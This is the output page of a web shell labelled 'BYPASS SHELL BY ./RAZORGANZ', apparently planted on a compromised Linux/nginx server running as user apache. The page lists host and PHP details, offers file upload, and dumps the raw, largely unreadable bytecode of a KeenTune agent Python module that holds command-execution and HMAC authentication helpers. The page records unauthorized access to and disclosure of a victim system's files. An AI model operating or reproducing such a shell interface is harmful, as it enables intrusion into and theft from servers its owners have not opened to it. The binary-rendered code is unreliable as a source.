BYPASS SHELL BY ./RAZORGANZ
Server: nginx/1.20.1
System: Linux iZdzfnv9mwfppeZ 5.10.134-19.2.al8.x86_64 #1 SMP Wed Oct 29 22:47:09 CST 2025 x86_64
User: apache (48)
PHP: 8.2.30
Disabled: NONE
Upload Files
File: //lib/python3.6/site-packages/agent/common/__pycache__/system.cpython-36.opt-1.pyc
3

�*�g��0@sRddlZddlZddlZddlZddlZddlZddlZddlZddlmZm	Z	ddl
mZddlm
Z
ddlmZejd�Zddd	d
ddd
ddddddddddddddddddd d!d"d#d$d%d&d'd(d)d*d+d,d-d.d/d/d0d0ejje
jd1�ejje
jd1�iZd2d3�Zd4d5�Zd6d7�ZdEeeed:�d;d<�ZdFeeed:�d=d>�Zd?d@�ZdAdB�ZdCdD�Z dS)G�N)�datetime�	timedelta)�wraps)�Config)�ContextZkeentuneZlsz/usr/bin/lsZcpz/usr/bin/cpZmvz/usr/bin/mvZsedz/usr/bin/sed�catz/usr/bin/catZyumz/usr/bin/yumZrpmz/usr/bin/rpmZgrepz
/usr/bin/grepZarchz
/usr/bin/archZwhichz/usr/bin/whichZulimitz/usr/bin/ulimitZcpupowerz/usr/bin/cpupowerZ	systemctlz/usr/bin/systemctlZx86_energy_perf_policyz/usr/bin/x86_energy_perf_policyZlspciz/usr/sbin/lspciZsysctlz/usr/sbin/sysctlZgrubbyz/usr/sbin/grubbyZethtoolz/usr/sbin/ethtoolZifconfigz/usr/sbin/ifconfigZldconfigz/usr/sbin/ldconfigZadf_ctlZasynch_mode_nginxzerdma.shcCstjt|��S)N)�shlex�quote�str)�obj�r�/usr/lib/python3.6/system.pyr	0sr	c	Cs6tjj|�}t|ddd��}|j�}WdQRX|j�S)N�rzutf-8)�encoding)�os�path�normpath�open�read�strip)�	file_path�fileZcontentrrr
�	file_read4srcCs�|�dtj��d�}y4t|ddd��}|j|�WdQRXtj||�Wn<tk
r�}z tjj|�rptj|�|�WYdd}~XnXdS)N�.z.tmp�wzutf-8)r)	r�getpidr�write�replace�	Exceptionr�exists�remove)r�dataZtemp_file_pathZ	temp_file�errr
�
file_write<s
r#�./T)�command�cwd�logc	CsZt|d|d<tj||dddtjtjd�}|jjdd�j�}|rVtj|�d|���|S)z8Run system command with subprocess.run and return resultrFT)r&�shell�check�	close_fds�stderr�stdoutzUTF-8�strictz -> )	�VAILD_COMMANDS�
subprocess�run�PIPEr,�decoder�logger�debug)r%r&r'�result�outrrr
�sys_commandJs
r7c	CsJtj||dddtjtjd�}|jjdd�j�}|rFtj|�d|���|S)z8Run system command with subprocess.run and return resultT)r&r(r)r*r+r,zUTF-8r-z -> )r/r0r1r,r2rr3r4)r%r&r'r5r6rrr
�
shell_command`s
r8cst���fdd��}|S)Nc	st�jr�|f|�|�Sy�|jj}|jd�}|jd�}|jd�}t|�st|jd�|jtj	ddd���|j
�dSt|||�}|s�|jd�|jtj	ddd���|j
�dSWnZtk
�r}z<|jd	�t
j|�|jtj	dd
j|�d���|j
�dSd}~XnX�|f|�|�S)Nzx-auth-accesskeyzx-auth-timestampzx-auth-signaturei�Fz
verify expire)Zsuc�msgzverify faili�zverify code error: {})rr4ZrequestZheaders�get�is_within_minutesZ
set_statusr�json�dumpsZfinish�verify_authrr3�error�format)	�self�args�kwargsZheaders_data�ak�	timestamp�	signatureZverify_flagr")�funcrr
�wrapperrs2






zauthenticated.<locals>.wrapper)r)rGrHr)rGr
�
authenticatedqs!rIcCsZtjd�}dj|||�}tj|jd�|jd�tj�j�}t	j
|�j�}||krRdSdSdS)NZKEENTUNE_SKz)accessKey={}&accessSecret={}&timestamp={}zutf-8TF)r�getenvr@�hmac�new�encode�hashlibZsha256�digest�base64Z	b64encoder2)rDZ
headerTimeZreqSignatureZskZpayloadrOrFrrr
r>�s
 r>cCs8tj�}tjtt|���}t||�}|tdd�k}|S)N�
)Zseconds)rZnowZ
fromtimestamp�int�float�absr)rEZreference_timeZ
given_timeZtime_differenceZis_within_rangerrr
r;�s
r;)r$T)r$T)!rPrNrKr<Zloggingrrr/rr�	functoolsrZagent.common.configrZagent.controllerrZ	getLoggerr3r�joinZSCRIPTS_PATHr.r	rr#�listr
�boolr7r8rIr>r;rrrr
�<module>sV
 %